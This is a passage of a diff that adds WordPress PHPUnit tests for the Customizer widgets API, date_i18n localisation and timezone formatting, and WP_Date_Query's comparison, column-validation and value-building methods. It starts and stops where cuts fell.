+	}
+
+	/**
+	 * Get the widget control args for tests.
+	 *
+	 * @return array
+	 */
+	function get_test_widget_control_args() {
+		global $wp_registered_widgets;
+		require_once ABSPATH . '/wp-admin/includes/widgets.php';
+		$widget_id = 'search-2';
+		$widget = $wp_registered_widgets[ $widget_id ];
+		$args = array(
+			'widget_id' => $widget['id'],
+			'widget_name' => $widget['name'],
+		);
+		$args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
+		return $args;
+	}
+
+	/**
+	 * @see WP_Customize_Widgets::get_widget_control()
+	 */
+	function test_get_widget_control() {
+		$this->do_customize_boot_actions();
+		$widget_control = $this->manager->widgets->get_widget_control( $this->get_test_widget_control_args() );
+
+		$this->assertContains( '<div class="form">', $widget_control );
+		$this->assertContains( '<div class="widget-content">', $widget_control );
+		$this->assertContains( '<input type="hidden" name="id_base" class="id_base" value="search"', $widget_control );
+		$this->assertContains( '<input class="widefat"', $widget_control );
+	}
+
+	/**
+	 * @see WP_Customize_Widgets::get_widget_control_parts()
+	 */
+	function test_get_widget_control_parts() {
+		$this->do_customize_boot_actions();
+		$widget_control_parts = $this->manager->widgets->get_widget_control_parts( $this->get_test_widget_control_args() );
+		$this->assertArrayHasKey( 'content', $widget_control_parts );
+		$this->assertArrayHasKey( 'control', $widget_control_parts );
+
+		$this->assertContains( '<div class="form">', $widget_control_parts['control'] );
+		$this->assertContains( '<div class="widget-content">', $widget_control_parts['control'] );
+		$this->assertContains( '<input type="hidden" name="id_base" class="id_base" value="search"', $widget_control_parts['control'] );
+		$this->assertNotContains( '<input class="widefat"', $widget_control_parts['control'] );
+		$this->assertContains( '<input class="widefat"', $widget_control_parts['content'] );
+	}
+
+	/**
+	 * @see WP_Widget_Form_Customize_Control::json()
+	 */
+	function test_wp_widget_form_customize_control_json() {
+		$this->do_customize_boot_actions();
+		$control = $this->manager->get_control( 'widget_search[2]' );
+		$params = $control->json();
+
+		$this->assertEquals( 'widget_form', $params['type'] );
+		$this->assertRegExp( '#^<li[^>]+>\s*</li>$#', $params['content'] );
+		$this->assertRegExp( '#^<div[^>]*class=\'widget\'[^>]*#s', $params['widget_control'] );
+		$this->assertContains( '<div class="widget-content"></div>', $params['widget_control'] );
+		$this->assertNotContains( '<input class="widefat"', $params['widget_control'] );
+		$this->assertContains( '<input class="widefat"', $params['widget_content'] );
+		$this->assertEquals( 'search-2', $params['widget_id'] );
+		$this->assertEquals( 'search', $params['widget_id_base'] );
+		$this->assertArrayHasKey( 'sidebar_id', $params );
+		$this->assertArrayHasKey( 'width', $params );
+		$this->assertArrayHasKey( 'height', $params );
+		$this->assertInternalType( 'bool', $params['is_wide'] );
+	}
+
+	/**
+	 * @see WP_Customize_Widgets::is_panel_active()
+	 */
+	function test_is_panel_active() {
+		global $wp_registered_sidebars;
+		$this->do_customize_boot_actions();
+
+		$this->assertNotEmpty( $wp_registered_sidebars );
+		$this->assertTrue( $this->manager->widgets->is_panel_active() );
+		$this->assertTrue( $this->manager->get_panel( 'widgets' )->active() );
+
+		$wp_registered_sidebars = array();
+		$this->assertFalse( $this->manager->widgets->is_panel_active() );
+		$this->assertFalse( $this->manager->get_panel( 'widgets' )->active() );
+	}
+
+	/**
+	 * @ticket 34738
+	 * @see WP_Customize_Widgets::call_widget_update()
+	 */
+	function test_call_widget_update() {
+
+		$widget_number = 2;
+		$widget_id = "search-{$widget_number}";
+		$setting_id = "widget_search[{$widget_number}]";
+		$instance = array(
+			'title' => 'Buscar',
+		);
+
+		$_POST = wp_slash( array(
+			'action' => 'update-widget',
+			'wp_customize' => 'on',
+			'nonce' => wp_create_nonce( 'update-widget' ),
+			'theme' => $this->manager->get_stylesheet(),
+			'customized' => '{}',
+			'widget-search' => array(
+				2 => $instance,
+			),
+			'widget-id' => $widget_id,
+			'id_base' => 'search',
+			'widget-width' => '250',
+			'widget-height' => '200',
+			'widget_number' => strval( $widget_number ),
+			'multi_number' => '',
+			'add_new' => '',
+		) );
+
+		$this->do_customize_boot_actions();
+
+		$this->assertArrayNotHasKey( $setting_id, $this->manager->unsanitized_post_values() );
+		$result = $this->manager->widgets->call_widget_update( $widget_id );
+
+		$this->assertInternalType( 'array', $result );
+		$this->assertArrayHasKey( 'instance', $result );
+		$this->assertArrayHasKey( 'form', $result );
+		$this->assertEquals( $instance, $result['instance'] );
+		$this->assertContains( sprintf( 'value="%s"', esc_attr( $instance['title'] ) ), $result['form'] );
+
+		$post_values = $this->manager->unsanitized_post_values();
+		$this->assertArrayHasKey( $setting_id, $post_values );
+		$post_value = $post_values[ $setting_id ];
+		$this->assertInternalType( 'array', $post_value );
+		$this->assertArrayHasKey( 'title', $post_value );
+		$this->assertArrayHasKey( 'encoded_serialized_instance', $post_value );
+		$this->assertArrayHasKey( 'instance_hash_key', $post_value );
+		$this->assertArrayHasKey( 'is_widget_customizer_js_value', $post_value );
+		$this->assertEquals( $post_value, $this->manager->widgets->sanitize_widget_js_instance( $instance ) );
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::customize_dynamic_partial_args().
+	 *
+	 * @see WP_Customize_Widgets::customize_dynamic_partial_args()
+	 */
+	function test_customize_dynamic_partial_args() {
+		do_action( 'customize_register', $this->manager );
+
+		$args = apply_filters( 'customize_dynamic_partial_args', false, 'widget[search-2]' );
+		$this->assertInternalType( 'array', $args );
+		$this->assertEquals( 'widget', $args['type'] );
+		$this->assertEquals( array( $this->manager->widgets, 'render_widget_partial' ), $args['render_callback'] );
+		$this->assertTrue( $args['container_inclusive'] );
+
+		$args = apply_filters( 'customize_dynamic_partial_args', array( 'fallback_refresh' => false ), 'widget[search-2]' );
+		$this->assertInternalType( 'array', $args );
+		$this->assertEquals( 'widget', $args['type'] );
+		$this->assertEquals( array( $this->manager->widgets, 'render_widget_partial' ), $args['render_callback'] );
+		$this->assertTrue( $args['container_inclusive'] );
+		$this->assertFalse( $args['fallback_refresh'] );
+
+		remove_theme_support( 'customize-selective-refresh-widgets' );
+		$args = apply_filters( 'customize_dynamic_partial_args', false, 'widget[search-2]' );
+		$this->assertFalse( $args );
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::selective_refresh_init().
+	 *
+	 * @see WP_Customize_Widgets::selective_refresh_init()
+	 */
+	function test_selective_refresh_init_with_theme_support() {
+		add_theme_support( 'customize-selective-refresh-widgets' );
+		$this->manager->widgets->selective_refresh_init();
+		$this->assertEquals( 10, has_action( 'dynamic_sidebar_before', array( $this->manager->widgets, 'start_dynamic_sidebar' ) ) );
+		$this->assertEquals( 10, has_action( 'dynamic_sidebar_after', array( $this->manager->widgets, 'end_dynamic_sidebar' ) ) );
+		$this->assertEquals( 10, has_filter( 'dynamic_sidebar_params', array( $this->manager->widgets, 'filter_dynamic_sidebar_params' ) ) );
+		$this->assertEquals( 10, has_filter( 'wp_kses_allowed_html', array( $this->manager->widgets, 'filter_wp_kses_allowed_data_attributes' ) ) );
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::selective_refresh_init().
+	 *
+	 * @see WP_Customize_Widgets::selective_refresh_init()
+	 */
+	function test_selective_refresh_init_without_theme_support() {
+		remove_theme_support( 'customize-selective-refresh-widgets' );
+		$this->manager->widgets->selective_refresh_init();
+		$this->assertFalse( has_action( 'dynamic_sidebar_before', array( $this->manager->widgets, 'start_dynamic_sidebar' ) ) );
+		$this->assertFalse( has_action( 'dynamic_sidebar_after', array( $this->manager->widgets, 'end_dynamic_sidebar' ) ) );
+		$this->assertFalse( has_filter( 'dynamic_sidebar_params', array( $this->manager->widgets, 'filter_dynamic_sidebar_params' ) ) );
+		$this->assertFalse( has_filter( 'wp_kses_allowed_html', array( $this->manager->widgets, 'filter_wp_kses_allowed_data_attributes' ) ) );
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::customize_preview_enqueue().
+	 *
+	 * @see WP_Customize_Widgets::customize_preview_enqueue()
+	 */
+	function test_customize_preview_enqueue() {
+		$this->manager->widgets->customize_preview_enqueue();
+		$this->assertTrue( wp_script_is( 'customize-preview-widgets', 'enqueued' ) );
+		$this->assertTrue( wp_style_is( 'customize-preview', 'enqueued' ) );
+		$script = wp_scripts()->registered['customize-preview-widgets'];
+		$this->assertContains( 'customize-selective-refresh', $script->deps );
+	}
+
+	/**
+	 * Test extensions to dynamic_sidebar().
+	 *
+	 * @see WP_Customize_Widgets::filter_dynamic_sidebar_params()
+	 * @see WP_Customize_Widgets::start_dynamic_sidebar()
+	 * @see WP_Customize_Widgets::end_dynamic_sidebar()
+	 */
+	function test_filter_dynamic_sidebar_params() {
+		global $wp_registered_sidebars;
+		register_sidebar( array(
+			'id' => 'foo',
+		) );
+
+		$this->manager->widgets->selective_refresh_init();
+
+		$params = array(
+			array_merge(
+				$wp_registered_sidebars['foo'],
+				array(
+					'widget_id' => 'search-2',
+				)
+			),
+			array(),
+		);
+		$this->assertEquals( $params, $this->manager->widgets->filter_dynamic_sidebar_params( $params ), 'Expected short-circuit if not called after dynamic_sidebar_before.' );
+
+		ob_start();
+		do_action( 'dynamic_sidebar_before', 'foo' );
+		$output = ob_get_clean();
+		$this->assertEquals( '<!--dynamic_sidebar_before:foo:1-->', trim( $output ) );
+
+		$bad_params = $params;
+		unset( $bad_params[0]['id'] );
+		$this->assertEquals( $bad_params, $this->manager->widgets->filter_dynamic_sidebar_params( $bad_params ) );
+
+		$bad_params = $params;
+		$bad_params[0]['id'] = 'non-existing';
+		$this->assertEquals( $bad_params, $this->manager->widgets->filter_dynamic_sidebar_params( $bad_params ) );
+
+		$bad_params = $params;
+		$bad_params[0]['before_widget'] = '   <oops>';
+		$this->assertEquals( $bad_params, $this->manager->widgets->filter_dynamic_sidebar_params( $bad_params ) );
+
+		$filtered_params = $this->manager->widgets->filter_dynamic_sidebar_params( $params );
+		$this->assertNotEquals( $params, $filtered_params );
+		ob_start();
+		do_action( 'dynamic_sidebar_after', 'foo' );
+		$output = ob_get_clean();
+		$this->assertEquals( '<!--dynamic_sidebar_after:foo:1-->', trim( $output ) );
+
+		$output = wp_kses_post( $filtered_params[0]['before_widget'] );
+		$this->assertContains( 'data-customize-partial-id="widget[search-2]"', $output );
+		$this->assertContains( 'data-customize-partial-type="widget"', $output );
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::render_widget_partial() method.
+	 *
+	 * @see WP_Customize_Widgets::render_widget_partial()
+	 */
+	function test_render_widget_partial() {
+		add_theme_support( 'customize-selective-refresh-widgets' );
+		$this->do_customize_boot_actions();
+		$this->manager->widgets->selective_refresh_init();
+
+		$partial_id = 'widget[search-2]';
+		$partials = $this->manager->selective_refresh->add_dynamic_partials( array( $partial_id ) );
+		$this->assertNotEmpty( $partials );
+		$partial = array_shift( $partials );
+		$this->assertEquals( $partial_id, $partial->id );
+
+		$this->assertFalse( $this->manager->widgets->render_widget_partial( $partial, array() ) );
+		$this->assertFalse( $this->manager->widgets->render_widget_partial( $partial, array( 'sidebar_id' => 'non-existing' ) ) );
+
+		$output = $this->manager->widgets->render_widget_partial( $partial, array( 'sidebar_id' => 'sidebar-1' ) );
+
+		$this->assertEquals( 1, substr_count( $output, 'data-customize-partial-id' ) );
+		$this->assertEquals( 1, substr_count( $output, 'data-customize-partial-type="widget"' ) );
+		$this->assertContains( ' id="search-2"', $output );
+	}
+
+	/**
+	 * Test deprecated methods.
+	 */
+	public function test_deprecated_methods() {
+		$this->setExpectedDeprecated( 'WP_Customize_Widgets::setup_widget_addition_previews' );
+		$this->setExpectedDeprecated( 'WP_Customize_Widgets::prepreview_added_sidebars_widgets' );
+		$this->setExpectedDeprecated( 'WP_Customize_Widgets::prepreview_added_widget_instance' );
+		$this->setExpectedDeprecated( 'WP_Customize_Widgets::remove_prepreview_filters' );
+		$this->manager->widgets->setup_widget_addition_previews();
+		$this->manager->widgets->prepreview_added_sidebars_widgets();
+		$this->manager->widgets->prepreview_added_widget_instance();
+		$this->manager->widgets->remove_prepreview_filters();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/date/dateI18n.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/date/dateI18n.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/date/dateI18n.php	(revision 56912)
@@ -0,0 +1,70 @@
+<?php
+
+/**
+ * @group date
+ * @group datetime
+ */
+class Tests_Date_I18n extends WP_UnitTestCase {
+	public function test_should_format_date() {
+		$this->assertEquals( strtotime( date( 'Y-m-d H:i:s' ) ), strtotime( date_i18n( 'Y-m-d H:i:s' ) ), 'The dates should be equal', 2 );
+	}
+
+	public function test_should_use_custom_timestamp() {
+		$this->assertEquals( '2012-12-01 00:00:00', date_i18n( 'Y-m-d H:i:s', strtotime( '2012-12-01 00:00:00' ) ) );
+	}
+
+	public function test_date_should_be_in_gmt() {
+		$this->assertEquals( strtotime( date( 'Y-m-d H:i:s' ) ), strtotime( date_i18n( 'Y-m-d H:i:s', false, true ) ), 'The dates should be equal', 2 );
+	}
+
+	public function test_custom_timestamp_ignores_gmt_setting() {
+		$this->assertEquals( '2012-12-01 00:00:00', date_i18n( 'Y-m-d H:i:s', strtotime( '2012-12-01 00:00:00' ) ) );
+	}
+
+	public function test_custom_timezone_setting() {
+		update_option( 'timezone_string', 'America/Regina' );
+
+		$this->assertEquals( strtotime( date( 'Y-m-d H:i:s', time() + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ), strtotime( date_i18n( 'Y-m-d H:i:s' ) ), 'The dates should be equal', 2 );
+	}
+
+	public function test_date_should_be_in_gmt_with_custom_timezone_setting() {
+		update_option( 'timezone_string', 'America/Regina' );
+
+		$this->assertEquals( strtotime( date( 'Y-m-d H:i:s' ) ), strtotime( date_i18n( 'Y-m-d H:i:s', false, true ) ), 'The dates should be equal', 2 );
+	}
+
+	public function test_date_should_be_in_gmt_with_custom_timezone_setting_and_timestamp() {
+		update_option( 'timezone_string', 'America/Regina' );
+
+		$this->assertEquals( '2012-12-01 00:00:00', date_i18n( 'Y-m-d H:i:s', strtotime( '2012-12-01 00:00:00' ) ) );
+	}
+
+	public function test_adjusts_format_based_on_locale() {
+		$original_locale = $GLOBALS['wp_locale'];
+		/* @var WP_Locale $locale */
+		$locale = clone $GLOBALS['wp_locale'];
+
+		$locale->weekday[6] = 'Saturday_Translated';
+		$locale->weekday_abbrev[ 'Saturday_Translated' ] = 'Sat_Translated';
+		$locale->month[12] = 'December_Translated';
+		$locale->month_abbrev[ 'December_Translated' ] = 'Dec_Translated';
+		$locale->meridiem['am'] = 'am_Translated';
+		$locale->meridiem['AM'] = 'AM_Translated';
+
+		$GLOBALS['wp_locale'] = $locale;
+
+		$expected = 'Saturday_Translated (Sat_Translated) 01 December_Translated (Dec_Translated) 00:00:00 am_Translated AM_Translated';
+		$actual = date_i18n( 'l (D) d F (M) H:i:s a A', strtotime( '2012-12-01 00:00:00' ) );
+
+		// Restore original locale.
+		$GLOBALS['wp_locale'] = $original_locale;
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	public function test_adjusts_format_based_on_timezone_string() {
+		update_option( 'timezone_string', 'America/Regina' );
+
+		$this->assertEquals( '2012-12-01 00:00:00 CST -06:00 America/Regina', date_i18n( 'Y-m-d H:i:s T P e', strtotime( '2012-12-01 00:00:00' ) ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/date/query.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/date/query.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/date/query.php	(revision 56912)
@@ -0,0 +1,1046 @@
+<?php
+
+/**
+ * Tests for public methods of WP_Date_Query.
+ *
+ * See query/dateQuery.php for tests that require WP_Query.
+ *
+ * @group datequery
+ * @group date
+ */
+class Tests_WP_Date_Query extends WP_UnitTestCase {
+	public $q;
+
+	public function setUp() {
+		parent::setUp();
+		unset( $this->q );
+		$this->q = new WP_Date_Query( array( 'm' => 2 ) );
+	}
+
+	public function test_construct_date_query_empty() {
+		$q = new WP_Date_Query( array() );
+		$this->assertSame( 'AND', $q->relation );
+		$this->assertSame( 'post_date', $q->column );
+		$this->assertSame( '=', $q->compare );
+		$this->assertSame( array(), $q->queries );
+	}
+
+	public function test_construct_date_query_non_array() {
+		$q = new WP_Date_Query( 'foo' );
+		$this->assertSame( 'AND', $q->relation );
+		$this->assertSame( 'post_date', $q->column );
+		$this->assertSame( '=', $q->compare );
+		$this->assertSame( array(), $q->queries );
+	}
+
+	public function test_construct_relation_or_lowercase() {
+		$q = new WP_Date_Query( array(
+			'relation' => 'or',
+		) );
+
+		$this->assertSame( 'OR', $q->relation );
+	}
+
+	public function test_construct_relation_invalid() {
+		$q = new WP_Date_Query( array(
+			'relation' => 'foo',
+		) );
+
+		$this->assertSame( 'AND', $q->relation );
+	}
+
+	public function test_construct_query_not_an_array_of_arrays() {
+		$q = new WP_Date_Query( array(
+			'before' => array(
+				'year' => 2008,
+				'month' => 6,
+			),
+		) );
+
+		$expected = array(
+			0 => array(
+				'before' => array(
+					'year' => 2008,
+					'month' => 6,
+				),
+				'column' => 'post_date',
+				'compare' => '=',
+				'relation' => 'AND',
+			),
+			'column' => 'post_date',
+			'compare' => '=',
+			'relation' => 'AND',
+		);
+
+		$this->assertSame( $expected, $q->queries );
+	}
+
+	public function test_construct_query_contains_non_arrays() {
+		$q = new WP_Date_Query( array(
+			'foo',
+			'bar',
+			array(
+				'before' => array(
+					'year' => 2008,
+					'month' => 6,
+				),
+			),
+		) );
+
+		$expected = array(
+			array(
+				'before' => array(
+					'year' => 2008,
+					'month' => 6,
+				),
+				'column' => 'post_date',
+				'compare' => '=',
+				'relation' => 'AND',
+			),
+			'column' => 'post_date',
+			'compare' => '=',
+			'relation' => 'AND',
+		);
+
+		$this->assertEquals( $expected, $q->queries );
+	}
+
+	public function test_get_compare_empty() {
+		$q = new WP_Date_Query( array() );
+		$this->assertSame( '=', $q->get_compare( array() ) );
+	}
+
+	public function test_get_compare_equals() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '=',
+		) );
+		$this->assertSame( '=', $found );
+	}
+
+	public function test_get_compare_not_equals() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '!=',
+		) );
+		$this->assertSame( '!=', $found );
+	}
+
+	public function test_get_compare_greater_than() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '>',
+		) );
+		$this->assertSame( '>', $found );
+	}
+
+	public function test_get_compare_greater_than_or_equal_to() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '>=',
+		) );
+		$this->assertSame( '>=', $found );
+	}
+
+	public function test_get_compare_less_than() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '<',
+		) );
+		$this->assertSame( '<', $found );
+	}
+
+	public function test_get_compare_less_than_or_equal_to() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => '<=',
+		) );
+		$this->assertSame( '<=', $found );
+	}
+
+	public function test_get_compare_in() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => 'IN',
+		) );
+		$this->assertSame( 'IN', $found );
+	}
+
+	public function test_get_compare_not_in() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => 'NOT IN',
+		) );
+		$this->assertSame( 'NOT IN', $found );
+	}
+
+	public function test_get_compare_between() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => 'BETWEEN',
+		) );
+		$this->assertSame( 'BETWEEN', $found );
+	}
+
+	public function test_get_compare_not_between() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->get_compare( array(
+			'compare' => 'BETWEEN',
+		) );
+		$this->assertSame( 'BETWEEN', $found );
+	}
+
+	public function test_validate_column_post_date() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_date', $q->validate_column( 'post_date' ) );
+	}
+
+	public function test_validate_column_post_date_gmt() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_date_gmt', $q->validate_column( 'post_date_gmt' ) );
+	}
+
+	public function test_validate_column_post_modified() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_modified', $q->validate_column( 'post_modified' ) );
+	}
+
+	public function test_validate_column_post_modified_gmt() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_modified_gmt', $q->validate_column( 'post_modified_gmt' ) );
+	}
+
+	public function test_validate_column_comment_date() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->comments . '.comment_date', $q->validate_column( 'comment_date' ) );
+	}
+
+	public function test_validate_column_comment_date_gmt() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->comments . '.comment_date_gmt', $q->validate_column( 'comment_date_gmt' ) );
+	}
+
+	public function test_validate_column_invalid() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( $wpdb->posts . '.post_date', $q->validate_column( 'foo' ) );
+	}
+
+	/**
+	 * @ticket 25775
+	 */
+	public function test_validate_column_with_date_query_valid_columns_filter() {
+		$q = new WP_Date_Query( array() );
+
+		add_filter( 'date_query_valid_columns', array( $this, 'date_query_valid_columns_callback' ) );
+
+		$this->assertSame( 'my_custom_column', $q->validate_column( 'my_custom_column' ) );
+
+		remove_filter( 'date_query_valid_columns', array( $this, 'date_query_valid_columns_callback' ) );
+	}
+
+	/**
+	 * @ticket 25775
+	 */
+	public function test_validate_column_prefixed_column_name() {
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( 'foo.bar', $q->validate_column( 'foo.bar' ) );
+	}
+
+	/**
+	 * @ticket 25775
+	 */
+	public function test_validate_column_prefixed_column_name_with_illegal_characters() {
+		$q = new WP_Date_Query( array() );
+
+		$this->assertSame( 'foo.bar', $q->validate_column( 'f"\'oo\/.b;:()ar' ) );
+	}
+
+	public function test_build_value_value_null() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$this->assertFalse( $q->build_value( 'foo', null ) );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_in() {
+		$q = new WP_Date_Query( array() );
+
+		// Single integer
+		$found = $q->build_value( 'IN', 4 );
+		$this->assertSame( '(4)', $found );
+
+		// Single non-integer
+		$found = $q->build_value( 'IN', 'foo' );
+		$this->assertFalse( $found );
+
+		// Array of integers
+		$found = $q->build_value( 'IN', array( 1, 4, 7 ) );
+		$this->assertSame( '(1,4,7)', $found );
+
+		// Array containing non-integers
+		$found = $q->build_value( 'IN', array( 1, 'foo', 7 ) );
+		$this->assertSame( '(1,7)', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_in() {
+		$q = new WP_Date_Query( array() );
+
+		// Single integer
+		$found = $q->build_value( 'NOT IN', 4 );
+		$this->assertSame( '(4)', $found );
+
+		// Single non-integer
+		$found = $q->build_value( 'NOT IN', 'foo' );
+		$this->assertFalse( $found );
+
+		// Array of integers
+		$found = $q->build_value( 'NOT IN', array( 1, 4, 7 ) );
+		$this->assertSame( '(1,4,7)', $found );
+
+		// Array containing non-integers
+		$found = $q->build_value( 'NOT IN', array( 1, 'foo', 7 ) );
+		$this->assertSame( '(1,7)', $found );
+	}
+
+	public function test_build_value_compare_between_single_integer() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', 4 );
+		$this->assertSame( '4 AND 4', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_between_single_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', 'foo' );
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_between_array_with_other_than_two_items() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', array( 2, 3, 4 ) );
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_between_incorrect_array_key() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', array(
+			2 => 4,
+			3 => 5,
+		) );
+
+		$this->assertSame( '4 AND 5', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_between_array_contains_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', array( 2, 'foo' ) );
+		$this->assertFalse( $found );
+	}
+
+	public function test_build_value_compare_between() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'BETWEEN', array( 2, 3 ) );
+		$this->assertSame( '2 AND 3', $found );
+	}
+
+	public function test_build_value_compare_not_between_single_integer() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', 4 );
+		$this->assertSame( '4 AND 4', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_between_single_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', 'foo' );
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_between_array_with_other_than_two_items() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', array( 2, 3, 4 ) );
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_between_incorrect_array_key() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', array(
+			2 => 4,
+			3 => 5,
+		) );
+
+		$this->assertSame( '4 AND 5', $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_not_between_array_contains_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', array( 2, 'foo' ) );
+		$this->assertFalse( $found );
+	}
+
+	public function test_build_value_compare_not_between() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'NOT BETWEEN', array( 2, 3 ) );
+		$this->assertSame( '2 AND 3', $found );
+	}
+
+	public function test_build_value_compare_default_value_integer() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'foo', 5 );
+		$this->assertSame( 5, $found );
+	}
+
+	/**
+	 * @ticket 29801
+	 */
+	public function test_build_value_compare_default_value_non_numeric() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_value( 'foo', 'foo' );
+		$this->assertFalse( $found );
+	}
+
+	public function test_build_mysql_datetime_datetime_non_array() {
+		$q = new WP_Date_Query( array() );
+
+		// This might be a fragile test if it takes longer than 1 second to run
+		$found = $q->build_mysql_datetime( 'foo' );
+		$expected = gmdate( 'Y-m-d H:i:s', false );
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_build_mysql_datetime_default_to_max_true() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_mysql_datetime( array(
+			'year' => 2011,
+		), true );
+		$this->assertSame( '2011-12-31 23:59:59', $found );
+	}
+
+	public function test_build_mysql_datetime_default_to_max_false() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_mysql_datetime( array(
+			'year' => 2011,
+		), false );
+		$this->assertSame( '2011-01-01 00:00:00', $found );
+	}
+
+	public function test_build_mysql_datetime_default_to_max_default_to_false() {
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_mysql_datetime( array(
+			'year' => 2011,
+		), false );
+		$this->assertSame( '2011-01-01 00:00:00', $found );
+	}
+
+	public function test_build_time_query_insufficient_time_values() {
+		$q = new WP_Date_Query( array() );
+
+		$this->assertFalse( $q->build_time_query( 'post_date', '=' ) );
+	}
+
+	/**
+	 * @ticket 34228
+	 */
+	public function test_build_time_query_should_not_discard_hour_0() {
+		global $wpdb;
+		$q = new WP_Date_Query( array() );
+
+		$found = $q->build_time_query( 'post_date', '=', 0, 10 );
+
+		$this->assertContains( '%H', $wpdb->remove_placeholder_escape( $found ) );
+	}
+
+	public function test_build_time_query_compare_in() {
+		$q = new WP_Date_Query( array() );
+
+		// Just hour
+		$found = $q->build_time_query( 'post_date', 'IN', array( 1, 2 ) );
+		$this->assertSame( 'HOUR( post_date ) IN (1,2)', $found );
+
+		// Skip minute
+		$found = $q->build_time_query( 'post_date', 'IN', array( 1, 2 ), null, 6 );
+		$this->assertSame( 'HOUR( post_date ) IN (1,2) AND SECOND( post_date ) IN (6)', $found );
+
+		// All three
+		$found = $q->build_time_query( 'post_date', 'IN', array( 1, 2 ), array( 3, 4, 5 ), 6 );
+		$this->assertSame( 'HOUR( post_date ) IN (1,2) AND MINUTE( post_date ) IN (3,4,5) AND SECOND( post_date ) IN (6)', $found );
+	}
+
+	public function test_build_time_query_compare_not_in() {
+		$q = new WP_Date_Query( array() );
+
+		// Just hour
+		$found = $q->build_time_query( 'post_date', 'NOT IN', array( 1, 2 ) );
+		$this->assertSame( 'HOUR( post_date ) NOT IN (1,2)', $found );
+
+		// Skip minute
+		$found = $q->build_time_query( 'post_date', 'NOT IN', array( 1, 2 ), null, 6 );
+		$this->assertSame( 'HOUR( post_date ) NOT IN (1,2) AND SECOND( post_date ) NOT IN (6)', $found );
+
+		// All three
+		$found = $q->build_time_query( 'post_date', 'NOT IN', array( 1, 2 ), array( 3, 4, 5 ), 6 );
